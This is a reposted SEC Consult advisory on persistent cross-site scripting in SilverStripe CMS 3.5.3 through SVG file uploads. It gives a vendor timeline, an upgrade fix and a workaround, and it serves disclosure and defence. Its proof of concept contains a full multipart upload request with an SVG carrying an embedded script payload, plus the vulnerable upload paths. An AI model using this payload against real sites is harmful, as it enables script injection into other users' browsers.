Lucene search
+L

SilverStrip CMS 3.5.3 Cross Site Scripting

🗓️ 15 Sep 2017 00:00:00Reported by Siddhartha TripathyType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 43 Views

SilverStripe CMS 3.5.3 Cross Site Scripting vulnerability patched in version 3.6.

Code
`SEC Consult Vulnerability Lab Security Advisory < 20170914-1 >  
=======================================================================  
title: Persistent Cross-Site Scripting  
product: SilverStripe CMS  
vulnerable version: <=3.5.3  
fixed version: 3.6.1  
impact: Medium  
homepage: https://www.silverstripe.org/  
found: 2017-03-15  
by: S. Tripathy (Office Singapore)  
SEC Consult Vulnerability Lab  
  
An integrated part of SEC Consult  
Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow  
Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich  
  
https://www.sec-consult.com  
  
=======================================================================  
  
Vendor description:  
-------------------  
"SilverStripe is the intuitive content management system and flexible  
framework loved by editors and developers alike. Equip your web teams  
to achieve outstanding results."  
  
Source: https://www.silverstripe.org/  
  
  
Business recommendation:  
------------------------  
SEC Consult recommends to do a proper output sanitization on uploaded  
SVG files. Users should upgrade to version 3.6.1 or higher. A thorough  
source code analysis is recommended.  
  
  
Vulnerability overview/description:  
-----------------------------------  
1) Persistant Cross Site Scripting  
Due to the lack of input validation and output sanitization,  
an attacker can upload SVG files containing malicious JavaScript  
code to be executed under a victim's browser context.  
  
  
Proof of concept:  
-----------------  
1) Persistant Cross Site Scripting  
Example: XSS using SVG File Upload  
  
The file upload function in the CMS allows to upload SVG files.  
But it doesn't sanitize output of the file which leads to XSS.  
  
There are 2 vulnerable instances of the same vulnerability.  
1: The "Insert Media" option in the content editor.  
2: The path "/admin/assets/add/"  
  
During editing contents or creating a new page an attacker can upload  
an SVG image using the "Insert Image" button.  
  
The request below shows that an attacker can upload an SVG file with  
malicious payloads.  
======================================================================================  
POST /admin/pages/edit/EditorToolbar/MediaForm/field/AssetUploadField/upload HTTP/1.1  
Host: $host  
---snip---  
Cookie: PHPSESSID=esqs7da6338k0sgj7itn3tcil7; bypassStaticCache=1  
Connection: close  
  
-----------------------------969190451574  
Content-Disposition: form-data; name="SecurityID"  
  
undefined  
-----------------------------969190451574  
Content-Disposition: form-data; name="AssetUploadField"; filename="evilsvgfile.svg"  
Content-Type: image/svg+xml  
  
<?xml version="1.0" standalone="no"?>  
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"  
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">  
  
  
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">  
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>  
<script type="text/javascript">  
alert('XSS!');  
</script>  
</svg>  
-----------------------------969190451574--  
======================================================================================  
  
  
Using the same process an attacker can also upload a malicious SVG file in the path  
"/admin/assets/add/".  
  
  
A low privilege editor user such as a "Content Editor" can also exploit this  
vulnerability.  
  
  
Vulnerable / tested versions:  
-----------------------------  
The following version is affected by the identified vulnerabilities which  
was the most recent version at the time of discovery:  
  
Silverstripe CMS version <=3.5.3  
  
  
Vendor contact timeline:  
------------------------  
2017-03-22: Contacting vendor through [email protected]  
2017-03-23: Vendor provided public key certificates  
2017-03-23: Sent the advisory to vendor  
2017-04-17: Follow-up with vendor on the status  
2017-04-17: Vendor responded work in progress  
2017-05-09: Follow-up with vendor on the status, no response from the vendor  
2017-05-24: Informed the vendor on releasing the advisory  
2017-05-31: Vendor: vulnerability has been fixed, verified that it is not  
2017-06-07: Vendor confirmed that the issue is not fixed and it will be fixed in  
the next release.  
2017-06-27: Silverstripe Version 3.6.1 released  
2017-09-14: Public release of advisory  
  
  
Solution:  
---------  
Upgrade to SilverStripe v3.6.1  
https://www.silverstripe.org/download/  
  
Changelog: https://docs.silverstripe.org/en/3/changelogs/3.6.1  
  
  
Workaround:  
-----------  
Do not allow uploading an SVG file.  
  
  
Advisory URL:  
-------------  
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html  
  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
SEC Consult Vulnerability Lab  
  
SEC Consult  
Bangkok - Berlin - Linz - Luxembourg - Montreal - Moscow  
Kuala Lumpur - Singapore - Vienna (HQ) - Vilnius - Zurich  
  
About SEC Consult Vulnerability Lab  
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It  
ensures the continued knowledge gain of SEC Consult in the field of network  
and application security to stay ahead of the attacker. The SEC Consult  
Vulnerability Lab supports high-quality penetration testing and the evaluation  
of new offensive and defensive technologies for our customers. Hence our  
customers obtain the most current information about vulnerabilities and valid  
recommendation about the risk profile of new technologies.  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
Interested to work with the experts of SEC Consult?  
Send us your application https://www.sec-consult.com/en/career/index.html  
  
Interested in improving your cyber security with the experts of SEC Consult?  
Contact our local offices https://www.sec-consult.com/en/contact/index.html  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Mail: research at sec-consult dot com  
Web: https://www.sec-consult.com  
Blog: http://blog.sec-consult.com  
Twitter: https://twitter.com/sec_consult  
  
EOF Siddhartha Tripathy / @2017  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation